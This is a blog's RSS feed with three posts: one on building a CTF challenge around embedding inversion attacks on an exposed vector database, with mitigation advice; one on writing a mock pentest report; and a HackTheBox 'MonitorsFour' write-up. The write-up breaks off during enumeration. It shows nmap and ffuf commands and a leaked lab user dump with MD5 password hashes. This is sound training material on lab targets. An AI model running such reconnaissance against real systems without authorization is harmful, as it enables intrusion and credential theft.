<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Posts on Mike's Logs</title><link>https://mdunn99.com/posts/</link><description>Recent content in Posts on Mike's Logs</description><generator>Hugo -- gohugo.io</generator><language>en</language><copyright>&lt;a href="https://creativecommons.org/licenses/by-nc/4.0/" target="_blank" rel="noopener">CC BY-NC 4.0&lt;/a></copyright><lastBuildDate>Thu, 03 Sep 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://mdunn99.com/posts/index.xml" rel="self" type="application/rss+xml"/><item><title>Exploring Inversion Attacks While Building A CTF Challenge</title><link>https://mdunn99.com/posts/exploring-an-ai-attack-vector-while-building-a-ctf-challenge/</link><pubDate>Thu, 03 Sep 2026 00:00:00 +0000</pubDate><guid>https://mdunn99.com/posts/exploring-an-ai-attack-vector-while-building-a-ctf-challenge/</guid><description>&lt;p>In a few weeks from now, a certain unnamed CTF (&lt;a href="https://en.wikipedia.org/wiki/Capture_the_flag_%28cybersecurity%29">Capture The Flag&lt;/a>) event will take place that I&amp;rsquo;ll have the pleasure of supporting infrastructure for and also developing a challenge for (more information about this event after it&amp;rsquo;s over!). In this post, I&amp;rsquo;ll be talking about what that challenge is at a high-level, some of the more technical aspects, my inspiration for it, and the challenges I encountered while developing it.&lt;/p></description><content type="html"><![CDATA[<p>In a few weeks from now, a certain unnamed CTF (<a href="https://en.wikipedia.org/wiki/Capture_the_flag_%28cybersecurity%29">Capture The Flag</a>) event will take place that I&rsquo;ll have the pleasure of supporting infrastructure for and also developing a challenge for (more information about this event after it&rsquo;s over!). In this post, I&rsquo;ll be talking about what that challenge is at a high-level, some of the more technical aspects, my inspiration for it, and the challenges I encountered while developing it.</p>
<hr>
<h1 id="inspiration">Inspiration</h1>
<p>I recently watched <a href="https://www.youtube.com/watch?v=O7BI4jfEFwA">Patrick Walsh&rsquo;s lecture from DEF CON 33</a> that single-handedly inspired this project, where, being already familiar with some other ideas Walsh expressed very elegantly in his talk (prompt engineering and the like), really enjoyed his demo on <strong>inversion attacks</strong> showcased with the <a href="https://github.com/vec2text/vec2text">vec2text</a> tool.</p>
<p>SentinelOne defines <a href="https://www.sentinelone.com/cybersecurity-101/cybersecurity/model-inversion-attacks/">Model Inversion Attacks</a> as &ldquo;reverse-engineering machine learning models to extract sensitive information about their training data, exploiting model outputs and confidence scores through iterative queries.&rdquo; By &ldquo;model outputs,&rdquo; SentinalOne is specifically talking about <a href="https://www.ibm.com/think/topics/vector-embedding">embedding matrices</a>, which are the unintelligible numbers that some machine learning models (<a href="https://www.seangoedecke.com/how-llms-work/">like LLMs</a>) use to perform calculations and produce a final output. However, the idea of embedding documents into &ldquo;vectors&rdquo; has been around for <a href="https://en.wikipedia.org/wiki/Word_embedding">a while now</a>, and besides just reverse-engineering not-very-accessible vector embeddings from frontier language models, the specific embedding inversion attack illustrated in Walsh&rsquo;s talk (<a href="https://www.reddit.com/r/cybersecurity/comments/1s9ybbu/embedding_inversion_attacks_make_hosted_vector/">and seemingly more talked about as of recent</a>) is targeted more-so at RAG (Retrieval Augmented Generation) systems. A document gets embedded, stored in a vector DB, and retrieved by similarity search to feed context back into an LLM. If that vector DB is exposed, so are the documents it was supposed to protect.</p>
<p>Such an attack can be visualized below. In this instance, a vulnerable database stores vector embeddings. This can be very valuable to an attacker who can perform inversion attacks.
<img src="/posts/exploring-an-ai-attack-vector-while-building-a-ctf-challenge/inversion_attack_diagram.png" alt="">
<em>DEF CON 33 - Exploiting Shadow Data from AI Models and Embeddings. <a href="https://www.youtube.com/watch?v=O7BI4jfEFwA">Source</a></em></p>
<p>Given that I was actively searching for an opportunity to develop a challenge for this CTF event around the time I saw the video, it felt natural that I&rsquo;d introduce the ~3,000 players to what I&rsquo;d just found out about. I&rsquo;d also gain some hands-on experience applying this redteaming technique.</p>
<hr>
<h1 id="designing-the-challenge">Designing The Challenge</h1>
<p>The specifics of the challenge changed throughout, but the primary idea remained mostly intact. It&rsquo;s final playthrough is something like:</p>
<ol>
<li>
<p>A concerned CEO forwards an article about RAG security to his sysadmin.</p>
</li>
<li>
<p>The sysadmin appreciates the advice but assures the CEO that vector embeddings are a practically non-reversible, hash-like list of values.</p>
</li>
<li>
<p>The sysadmin&rsquo;s carelessness leaves a vector database open for query by anybody with no authentication, with some contents stored in plaintext and some stored purely as embedding vectors.</p>
</li>
<li>
<p>To obtain the flag, the player must generate a custom ruleset to crack a leaked hash, the rules of which are obtained by inverting one of the entries in the database using vec2text.</p>
</li>
</ol>
<p>I went ahead and picked the most convenient option for a vector database, which I found to be <a href="https://www.trychroma.com/">ChromaDB</a> given it&rsquo;s plug-and-play Python library.</p>
<p>When it came to choosing which information to have the player invert, I learned through experimentation - but also by drawing on my understanding of the volatility of token placement - that expecting a string to be extracted precisely was going to be impossible. This is why I opted for the inversion candidate not to be a flag, hash, or other dense string, but rather something like a set of instructions, like a list of <em>minimum password requirements</em>.
<img src="/posts/exploring-an-ai-attack-vector-while-building-a-ctf-challenge/tokenizer_diagram.png" alt="">
<em>An illustration of the tokenization process. <a href="https://www.linkedin.com/pulse/tokenization-how-llms-process-text-tokens-nikitha-r-gnbkf/">Source</a></em></p>
<p>Initially, I kept things as close to a realistic deployment as possible by having Chroma ingest some strings and allow the software to embed the sensitive data itself. The player would have to discover the ChromaDB instance, extract these documents/strings from the database, and then use vec2text to perform the inversion attack.  As you&rsquo;ll see, this wasn&rsquo;t a feasible option.</p>
<h2 id="the-compute-factor">The Compute Factor</h2>
<p>I naively went into this project anticipating a rich cluster of GPUs at the disposal of the organizers of the event, so I was testing vec2text&rsquo;s effectiveness with as many n_steps (the number of times vec2text&rsquo;s corrector would iterate to reduce loss between guessed inversions and the real embeddings) as would be necessary for producing an accurate inversion. That assumption was unfortunately not true. I had to find some way to optimize the challenge in a way where the number of iterations that a player would use would be high enough to yield an accurate-enough result while not being so high as to not be able to be ran on anything other than a GTX 5060.</p>
<p>While optimizing for my modest laptop CPU to perform the inversion attack in under a minute, the output was quite a bit <a href="https://en.wikipedia.org/wiki/Lossy_compression">lossy</a> in the sense that inverting the string of interest led to inconsistent and poor results. Luckily, vec2text has utility functions to take some strings and create its own embeddings based on any HuggingFace model. So, I stored embeddings pre-computed by vec2text in Chroma, so that when a player exfiltrates the embeddings, there would be no doubt about the accuracy (as long as they enter the correct parameters).
<img src="/posts/exploring-an-ai-attack-vector-while-building-a-ctf-challenge/chroma_vec2text_pipeline_comparison.png" alt="">
<em>A visual explaining the differences in ingestion approaches. Source: Claude Sonnet 5</em></p>
<p>I also had to try a few variations of the original string as well as tweaking the value of vec2text&rsquo;s &ldquo;beam_width,&rdquo; which essentially just seeds the randomization of the inversion, leading to higher accuracy and consistency. I didn&rsquo;t dig deep into how beam_width works internally, but this is how I understand it.</p>
<hr>
<h1 id="completing-the-challenge">Completing The Challenge</h1>
<p>Information that a player would need to make the inverted minimum password requirements useful (a SHA256 hash and a &ldquo;magic string&rdquo;) is stored in plaintext on the database, rewarding them for their enumeration and leading them to the right path. Metadata included in the database also includes the model that was used to embed the vectors which would&rsquo;ve been necessary for performing the attack.</p>
<p>As mentioned earlier, a player would have to use the minimum password requirements to construct a custom ruleset including a reasonably-sized arbitrary string of text placed in an arbitrary position in the context of the real password (a &ldquo;magic string&rdquo;). This also doesn&rsquo;t include two specific characters that are prepended to the password. Using this custom ruleset and the SHA256 hash to compare attempts to, a player would use a password-cracking utility like hashcat&rsquo;s <a href="https://hashcat.net/wiki/doku.php?id=mask_attack">&ldquo;Mask Attack&rdquo;</a>.</p>
<p>The purpose of the &ldquo;magic string&rdquo; is to simultaneously introduce complexity to the password as to not be guessed by pure brute force while also shifting some of the burden of this complexity from the information to be extracted during the inversion process onto the metadata discovery process.</p>
<p>Finally, this password acts as a key to unzip a password-protected 7z file found in a few steps earlier during the challenge through an SSRF exploit, leading to the flag.</p>
<hr>
<h1 id="mitigation">Mitigation</h1>
<p>In the challenge I developed, the &ldquo;sysadmin&rdquo; took only some partial appropriate steps for securing the sensitive information in the RAG database. Let alone the problematic architectural choices of unauthenticated retrieval, writing, and full access to the database, only one of the sensitive documents was stored without the plaintext metadata to accompany it. The following are a list of guidelines that, if in a real-world scenario, I would recommend to the people deploying the application that this challenge hosts.</p>
<ol>
<li>
<p><strong>Do not allow unauthenticated, arbitrary access to any internal company store or API.</strong>
This one should go unsaid. Applications intended for internal use only should only be accessible&hellip; internally. That means network segmentation, such as whitelisting select LAN IPs (unless a more robust and secure tunneling approach is used) AND at least any amount of HTTP security like Basic Auth or Token Auth (through .htpasswd and Chroma environment variables).</p>
</li>
<li>
<p><strong>Do not store sensitive information in plaintext.</strong>
The documents stored in the vector database in this challenge, while being embedded and ready for use in the RAG, should have any associated plaintext stripped. Of course, embeddings are still prone to inversion attacks as shown in this post (and <a href="https://cheatsheetseries.owasp.org/cheatsheets/RAG_Security_Cheat_Sheet.html#section-2-embedding-manipulation">should NOT be assumed to be irreversible</a>), but removing this plaintext would greatly reduce the attack surface.</p>
</li>
<li>
<p><strong>Do not store unnecessary information where it doesn&rsquo;t belong.</strong>
There&rsquo;s no legitimate reason to embed secrets and hashes in a RAG system. Besides just the security implications of doing so, LLMs shouldn&rsquo;t be expected to extract super-rich semantically dense text. Also, LLMs should retrieve sensitive information like records, credentials and other secrets, and miscellaneous PII from tool/function calls that use traditional access-control approaches. More information about how LLMs and their RAGs are unreliable as arbiters of who has access to their own information can be found at <a href="https://cheatsheetseries.owasp.org/cheatsheets/RAG_Security_Cheat_Sheet.html#section-4-access-control-inheritance">OWASP&rsquo;s guidance on access control inheritance in RAG</a>.</p>
</li>
</ol>
<h1 id="conclusion">Conclusion</h1>
<p>Writing this challenge was an excellent opportunity to get familiar with LLM-related attack vectors on a much deeper level than simply completing a challenge somebody else wrote for me. Besides just that lane of attacks, building the infrastructure leading up to the actual inversion attack let me become more intimate with how things like PHP access control works and how important proper network segmentation is to the integrity of a data pipeline. Learning how to construct a complex Docker project was also a very valuable experience for me throughout the building of this project. While I haven&rsquo;t had the chance to poll opinions from players yet, that feedback will be crucial for improving my understanding of the concepts I implemented in this challenge.</p>
]]></content></item><item><title>Writing a Mock Pentest Report</title><link>https://mdunn99.com/posts/writing-a-mock-pentest-report/</link><pubDate>Tue, 28 Jul 2026 00:00:00 +0000</pubDate><guid>https://mdunn99.com/posts/writing-a-mock-pentest-report/</guid><description>&lt;p>A few months ago, my friend and I were inspired by some other peers to take our redteaming HackTheBox exercises a step further: writing a full mock penetration test report.&lt;img src="https://mdunn99.com/posts/writing-a-mock-pentest-report/coverpage.png" alt="">&lt;em>The cover page generated for us by Claude Sonnet 5&lt;/em>.&lt;/p>
&lt;p>They themselves were fascinated by what our school&amp;rsquo;s award winning C3 team does twice per year in their &lt;a href="https://cp.tc/">CCDC competitions&lt;/a>.
&lt;img src="https://mdunn99.com/posts/writing-a-mock-pentest-report/c32026.png" alt="">
&lt;em>UCF C3 team earlier this year during the NCCDC competition.&lt;/em>&lt;/p>
&lt;p>During the course of 24 hours, a team of no more than 10 people participate in a hackathon-like competition to probe, poke at, and, finally, document vulnerabilities of a multi-machine network that culminates in a typically ~100-page report that simulates a real-world penetration test.&lt;/p></description><content type="html"><![CDATA[<p>A few months ago, my friend and I were inspired by some other peers to take our redteaming HackTheBox exercises a step further: writing a full mock penetration test report.<img src="/posts/writing-a-mock-pentest-report/coverpage.png" alt=""><em>The cover page generated for us by Claude Sonnet 5</em>.</p>
<p>They themselves were fascinated by what our school&rsquo;s award winning C3 team does twice per year in their <a href="https://cp.tc/">CCDC competitions</a>.
<img src="/posts/writing-a-mock-pentest-report/c32026.png" alt="">
<em>UCF C3 team earlier this year during the NCCDC competition.</em></p>
<p>During the course of 24 hours, a team of no more than 10 people participate in a hackathon-like competition to probe, poke at, and, finally, document vulnerabilities of a multi-machine network that culminates in a typically ~100-page report that simulates a real-world penetration test.</p>
<p>Myself and my friend, <a href="https://www.linkedin.com/in/stephenmiller05/">Stephen</a>, set out to take any HackTheBox machine and do the same thing. In the process, we learned a lot!</p>
<h2 id="hacking-the-box">Hacking the Box</h2>
<p>If you&rsquo;re not already aware, <a href="https://www.hackthebox.com">HackTheBox</a> is a free platform that allows users to break into intentionally vulnerable machines and &ldquo;capture the flag&rdquo; that awaits for the user upon successful exploitation. My friends and I use this website a ton to practice our redteaming skills (we even keep a scoreboard on the UCF Discord server).</p>
<p><a href="https://www.hackthebox.com/machines/silentium">Silentium</a> is an easy-rated, CVE-heavy HackTheBox machine that allowed us to focus mostly on the technical writing aspect of this challenge and less of the redteaming part. In the future, I&rsquo;d like to make more mock reports on machines offered by HackTheBox that allow me to go into more detail on specific processes for exploiting the system rather than the technical details (sometimes a bit over our head) offered by the exploit we stumbled across while enumerating the machine for vulnerabilities.</p>
<h2 id="gathering-inspiration">Gathering Inspiration</h2>
<p>The first thing we had to ask before going in and writing was: &ldquo;what does a real, official pentest report look like?&rdquo; Luckily, we didn&rsquo;t have to wonder. There are plenty of resources out in the wild that offered us a glimpse into how pentest reports are structured - textually and visually. So, we spent a lot of time perusing <a href="https://github.com/reconmap/pentest-reports/">this repository</a> and compiling visual elements throughout the writing process that we found cool. More importantly, it gave us some insight into the appropriate length of certain sections, where figures should be inserted, and small things like tone selection.</p>
<h2 id="writing">Writing</h2>
<p>It just so happens that the semester in college that we wrote this report was the semester that I was taking a professional writing class, which not only meant that my writing muscles had been worked recently, but also that I understood a key part of writing professional reports. What I had in mind was to balance the report in a &ldquo;PAM&rdquo; triangle, meaning not just prioritizing the Purpose of the report, but also the Message and how it&rsquo;s conveyed, and the Audience it&rsquo;s written for. This appears to be an adaptation of Aristotle&rsquo;s Rhetorical Triangle.
<img src="/posts/writing-a-mock-pentest-report/pamtriad.png" alt="">
<em>One variation of the Rhetorical Triangle.</em></p>
<p>Essentially it just reminded us that for the purposes of this &ldquo;assignment&rdquo;, we&rsquo;d be writing so that the report can be understood across a wide spectrum of C-suites, senior-level technicians, and lower-level vulnerability researchers and security engineers. After all, the people at a company that approve a large sum of money to be used for commissioning a pentest report want to understand the value that they received from such an investment. Likewise, the details of a successful exploitation by the pentesters is a useful vector for anybody at the company that works to secure their digital infrastructure.</p>
<p>To cover each of the roles we were catering to, each section existed for a purpose. For instance, plenty of summaries existed before the meat of the report (findings and their CVSS scores). This provided an introduction to the specifics of the engagement to ground not only potentially tech-unsavvy individuals but also their engineers. Even in the individual finding reports, impact summaries are provided to help an employee understand the scope of a particular issue.</p>
<p>Providing engineers with clear reproduction steps will go a long way in helping them quickly identify where the issue exists and remediating it, with or without our suggestions.</p>
<p>Equally (and arguably more) effective for communicating some of these ideas at a high-level are visuals.</p>
<h2 id="visuals">Visuals</h2>
<p>One important aspect of writing an effective report is conveying things visually, like the layout of the network. Below, I documented the attack chain that a threat actor could take to gain root access on the host system, incorporating the network architecture into said path.
<img src="/posts/writing-a-mock-pentest-report/drawio.png" alt=""><em>A visual that I created with draw.io</em></p>
<p>We also wanted to highlight the most important vulnerabilities that we found in the stack before any others. So, the assessment findings are sorted from highest to least severity and color-coded accordingly. Further, in a heavily-inspired way from a &ldquo;Vuln Table&rdquo; I had seen in the repository mentioned earlier, we kept things brief and &ldquo;compressed&rdquo;. Also, hyperlinks!
<img src="/posts/writing-a-mock-pentest-report/vulntables.png" alt=""><em>Assessment findings in the report followed by our vulnerability summary table</em></p>
<p>Code blocks are presented inside of a 1x1 table in monospace font; censor sensitive information:
<img src="/posts/writing-a-mock-pentest-report/codeblock.png" alt=""></p>
<p>Quote blocks are not the same as code blocks:
<img src="/posts/writing-a-mock-pentest-report/quoteblock.png" alt=""></p>
<h2 id="conclusion">Conclusion</h2>
<p>I gained valuable soft skills throughout this exercise like designing visuals, working with word editors, and conveying complex ideas to a wide range of people. It also tested my understanding of the very engagement that my friend and I spent no longer than a day on (plus one more in the beginning of the CTF). I hope to produce more like this in the future!</p>
]]></content></item><item><title>HackTheBox Writeup - "MonitorsFour"</title><link>https://mdunn99.com/posts/monitorsfour-htb/</link><pubDate>Mon, 04 May 2026 00:00:00 +0000</pubDate><guid>https://mdunn99.com/posts/monitorsfour-htb/</guid><description>&lt;p>This assessment followed a black-box approach, beginning with active reconaissance, progressing through enumeration, initial unprivileged foothold into the authorized target, and finally privilege escalation. &lt;a href="https://www.hackthebox.com/machines/MonitorsFour">MonitorsFour is a HackTheBox &amp;ldquo;easy Windows&amp;rdquo; challenge&lt;/a>.&lt;/p>
&lt;h1 id="reconnaissance">Reconnaissance&lt;/h1>
&lt;p>Port and service scanning was performed on the target using &lt;code>nmap.&lt;/code> It revealed an HTTP (insecure) webserver and a Microsoft HTTPAPI server, confirming the fact that this IP is associated with a Microsoft machine.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>80/tcp open http nginx
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_http-title: Did not follow redirect to http://monitorsfour.htb/
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>5985/tcp open http Microsoft HTTPAPI httpd 2.0 &lt;span style="color:#f92672">(&lt;/span>SSDP/UPnP&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_http-title: Not Found
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_http-server-header: Microsoft-HTTPAPI/2.0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Enumeration on files and pages from the root directory of the resolved domain name (monitorsfour.htb) revealed information like a &lt;code>login&lt;/code> and &lt;code>user&lt;/code> path:&lt;/p></description><content type="html"><![CDATA[<p>This assessment followed a black-box approach, beginning with active reconaissance, progressing through enumeration, initial unprivileged foothold into the authorized target, and finally privilege escalation. <a href="https://www.hackthebox.com/machines/MonitorsFour">MonitorsFour is a HackTheBox &ldquo;easy Windows&rdquo; challenge</a>.</p>
<h1 id="reconnaissance">Reconnaissance</h1>
<p>Port and service scanning was performed on the target using <code>nmap.</code> It revealed an HTTP (insecure) webserver and a Microsoft HTTPAPI server, confirming the fact that this IP is associated with a Microsoft machine.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>80/tcp   open  http    nginx
</span></span><span style="display:flex;"><span>|_http-title: Did not follow redirect to http://monitorsfour.htb/
</span></span><span style="display:flex;"><span>5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 <span style="color:#f92672">(</span>SSDP/UPnP<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_http-title: Not Found
</span></span><span style="display:flex;"><span>|_http-server-header: Microsoft-HTTPAPI/2.0
</span></span><span style="display:flex;"><span>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
</span></span></code></pre></div><p>Enumeration on files and pages from the root directory of the resolved domain name (monitorsfour.htb) revealed information like a <code>login</code> and <code>user</code> path:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>contact                 <span style="color:#f92672">[</span>Status: 200, Size: 367, Words: 34, Lines: 5, Duration: 74ms<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>user                    <span style="color:#f92672">[</span>Status: 200, Size: 35, Words: 3, Lines: 1, Duration: 199ms<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>login                   <span style="color:#f92672">[</span>Status: 200, Size: 4340, Words: 1342, Lines: 96, Duration: 199ms<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>static                  <span style="color:#f92672">[</span>Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 53ms<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>views                   <span style="color:#f92672">[</span>Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 181ms<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>controllers             <span style="color:#f92672">[</span>Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 159ms<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>forgot-password         <span style="color:#f92672">[</span>Status: 200, Size: 3099, Words: 164, Lines: 84, Duration: 206ms<span style="color:#f92672">]</span>
</span></span></code></pre></div><p><img src="/posts/monitorsfour-htb/monitorsfour_login.png" alt=""><em>monitorsfour.htb/login</em></p>
<p>Seeing as the login page was using a basic login form handled through a single POST request (<code>/forgot-password</code>), SQL injection (SQLi) opportunities were tested for using the tool <code>sqlmap</code>. No immediate SQLi vulnerabilities were made available through this process.</p>
<p>One of the discovered webpages: <code>/user</code>, contained query parameters in its URL which is problematic because it allows for easy fuzzing for valid queries and their values.</p>
<p><img src="/posts/monitorsfour-htb/expoesd_user_webpage.png" alt=""><em>monitorsfour.htb/user</em></p>
<p>Using the enumeration tool <code>ffuf</code>, a list of potential parameter names was tested against the hidden webpage, revealing the <code>token</code> parameter.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>└─$ ffuf -u http://monitorsfour.htb/api/v1/user?FUZZ<span style="color:#f92672">=</span>test -w burp-parameter-names.txt -c -fs <span style="color:#ae81ff">35</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        /<span style="color:#e6db74">&#39;___\  /&#39;</span>___<span style="color:#ae81ff">\ </span>          /<span style="color:#960050;background-color:#1e0010">&#39;</span>___<span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>       /<span style="color:#ae81ff">\ \_</span>_/ /<span style="color:#ae81ff">\ \_</span>_/  __  __  /<span style="color:#ae81ff">\ \_</span>_/
</span></span><span style="display:flex;"><span>       <span style="color:#ae81ff">\ \ </span>,__<span style="color:#ae81ff">\\</span> <span style="color:#ae81ff">\ </span>,__<span style="color:#ae81ff">\/\ \/\ \ \ \ </span>,__<span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>        <span style="color:#ae81ff">\ \ \_</span>/ <span style="color:#ae81ff">\ \ \_</span>/<span style="color:#ae81ff">\ \ \_\ \ \ \ \_</span>/
</span></span><span style="display:flex;"><span>         <span style="color:#ae81ff">\ \_\ </span>  <span style="color:#ae81ff">\ \_\ </span> <span style="color:#ae81ff">\ \_</span>___/  <span style="color:#ae81ff">\ \_\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>          <span style="color:#ae81ff">\/</span>_/    <span style="color:#ae81ff">\/</span>_/   <span style="color:#ae81ff">\/</span>___/    <span style="color:#ae81ff">\/</span>_/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>       v2.1.0-dev
</span></span><span style="display:flex;"><span>________________________________________________
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> :: Method           : GET
</span></span><span style="display:flex;"><span> :: URL              : http://monitorsfour.htb/api/v1/user?FUZZ<span style="color:#f92672">=</span>test
</span></span><span style="display:flex;"><span> :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
</span></span><span style="display:flex;"><span> :: Follow redirects : false
</span></span><span style="display:flex;"><span> :: Calibration      : false
</span></span><span style="display:flex;"><span> :: Timeout          : <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span> :: Threads          : <span style="color:#ae81ff">40</span>
</span></span><span style="display:flex;"><span> :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
</span></span><span style="display:flex;"><span> :: Filter           : Response size: <span style="color:#ae81ff">35</span>
</span></span><span style="display:flex;"><span>________________________________________________
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>token                   <span style="color:#f92672">[</span>Status: 200, Size: 32, Words: 3, Lines: 1, Duration: 356ms<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>:: Progress: <span style="color:#f92672">[</span>6453/6453<span style="color:#f92672">]</span> :: Job <span style="color:#f92672">[</span>1/1<span style="color:#f92672">]</span> :: <span style="color:#ae81ff">61</span> req/sec :: Duration: <span style="color:#f92672">[</span>0:01:28<span style="color:#f92672">]</span> :: Errors: <span style="color:#ae81ff">0</span> ::
</span></span></code></pre></div><p>Manual enumeration in the value field of the URL with the found parameter (<code>monitorsfour.htb/user?token=&lt;int&gt;</code>) revealed potentially sensitive information about users on the <code>/login</code> portal, including insecure MD5 hashes (a computationally inexpensive cryptographic algorithm).</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>[{<span style="color:#f92672">&#34;id&#34;</span>:<span style="color:#ae81ff">2</span>,<span style="color:#f92672">&#34;username&#34;</span>:<span style="color:#e6db74">&#34;admin&#34;</span>,<span style="color:#f92672">&#34;email&#34;</span>:<span style="color:#e6db74">&#34;admin@monitorsfour.htb&#34;</span>,<span style="color:#f92672">&#34;password&#34;</span>:<span style="color:#e6db74">&#34;56b32eb43e6f15395f6c46c1c9e1cd36&#34;</span>,<span style="color:#f92672">&#34;role&#34;</span>:<span style="color:#e6db74">&#34;super user&#34;</span>,<span style="color:#f92672">&#34;token&#34;</span>:<span style="color:#e6db74">&#34;8024b78f83f102da4f&#34;</span>,<span style="color:#f92672">&#34;name&#34;</span>:<span style="color:#e6db74">&#34;Marcus Higgins&#34;</span>,<span style="color:#f92672">&#34;position&#34;</span>:<span style="color:#e6db74">&#34;System Administrator&#34;</span>,<span style="color:#f92672">&#34;dob&#34;</span>:<span style="color:#e6db74">&#34;1978-04-26&#34;</span>,<span style="color:#f92672">&#34;start_date&#34;</span>:<span style="color:#e6db74">&#34;2021-01-12&#34;</span>,<span style="color:#f92672">&#34;salary&#34;</span>:<span style="color:#e6db74">&#34;320800.00&#34;</span>},{<span style="color:#f92672">&#34;id&#34;</span>:<span style="color:#ae81ff">5</span>,<span style="color:#f92672">&#34;username&#34;</span>:<span style="color:#e6db74">&#34;mwatson&#34;</span>,<span style="color:#f92672">&#34;email&#34;</span>:<span style="color:#e6db74">&#34;mwatson@monitorsfour.htb&#34;</span>,<span style="color:#f92672">&#34;password&#34;</span>:<span style="color:#e6db74">&#34;69196959c16b26ef00b77d82cf6eb169&#34;</span>,<span style="color:#f92672">&#34;role&#34;</span>:<span style="color:#e6db74">&#34;user&#34;</span>,<span style="color:#f92672">&#34;token&#34;</span>:<span style="color:#e6db74">&#34;0e543210987654321&#34;</span>,<span style="color:#f92672">&#34;name&#34;</span>:<span style="color:#e6db74">&#34;Michael Watson&#34;</span>,<span style="color:#f92672">&#34;position&#34;</span>:<span style="color:#e6db74">&#34;Website Administrator&#34;</span>,<span style="color:#f92672">&#34;dob&#34;</span>:<span style="color:#e6db74">&#34;1985-02-15&#34;</span>,<span style="color:#f92672">&#34;start_date&#34;</span>:<span style="color:#e6db74">&#34;2021-05-11&#34;</span>,<span style="color:#f92672">&#34;salary&#34;</span>:<span style="color:#e6db74">&#34;75000.00&#34;</span>},{<span style="color:#f92672">&#34;id&#34;</span>:<span style="color:#ae81ff">6</span>,<span style="color:#f92672">&#34;username&#34;</span>:<span style="color:#e6db74">&#34;janderson&#34;</span>,<span style="color:#f92672">&#34;email&#34;</span>:<span style="color:#e6db74">&#34;janderson@monitorsfour.htb&#34;</span>,<span style="color:#f92672">&#34;password&#34;</span>:<span style="color:#e6db74">&#34;2a22dcf99190c322d974c8df5ba3256b&#34;</span>,<span style="color:#f92672">&#34;role&#34;</span>:<span style="color:#e6db74">&#34;user&#34;</span>,<span style="color:#f92672">&#34;token&#34;</span>:<span style="color:#e6db74">&#34;0e999999999999999&#34;</span>,<span style="color:#f92672">&#34;name&#34;</span>:<span style="color:#e6db74">&#34;Jennifer Anderson&#34;</span>,<span style="color:#f92672">&#34;position&#34;</span>:<span style="color:#e6db74">&#34;Network Engineer&#34;</span>,<span style="color:#f92672">&#34;dob&#34;</span>:<span style="color:#e6db74">&#34;1990-07-16&#34;</span>,<span style="color:#f92672">&#34;start_date&#34;</span>:<span style="color:#e6db74">&#34;2021-06-20&#34;</span>,<span style="color:#f92672">&#34;salary&#34;</span>:<span style="color:#e6db74">&#34;68000.00&#34;</span>},{<span style="color:#f92672">&#34;id&#34;</span>:<span style="color:#ae81ff">7</span>,<span style="color:#f92672">&#34;username&#34;</span>:<span style="color:#e6db74">&#34;dthompson&#34;</span>,<span style="color:#f92672">&#34;email&#34;</span>:<span style="color:#e6db74">&#34;dthompson@monitorsfour.htb&#34;</span>,<span style="color:#f92672">&#34;password&#34;</span>:<span style="color:#e6db74">&#34;8d4a7e7fd08555133e056d9aacb1e519&#34;</span>,<span style="color:#f92672">&#34;role&#34;</span>:<span style="color:#e6db74">&#34;user&#34;</span>,<span style="color:#f92672">&#34;token&#34;</span>:<span style="color:#e6db74">&#34;0e111111111111111&#34;</span>,<span style="color:#f92672">&#34;name&#34;</span>:<span style="color:#e6db74">&#34;David Thompson&#34;</span>,<span style="color:#f92672">&#34;position&#34;</span>:<span style="color:#e6db74">&#34;Database Manager&#34;</span>,<span style="color:#f92672">&#34;dob&#34;</span>:<span style="color:#e6db74">&#34;1982-11-23&#34;</span>,<span style="color:#f92672">&#34;start_date&#34;</span>:<span style="color:#e6db74">&#34;2022-09-15&#34;</span>,<span 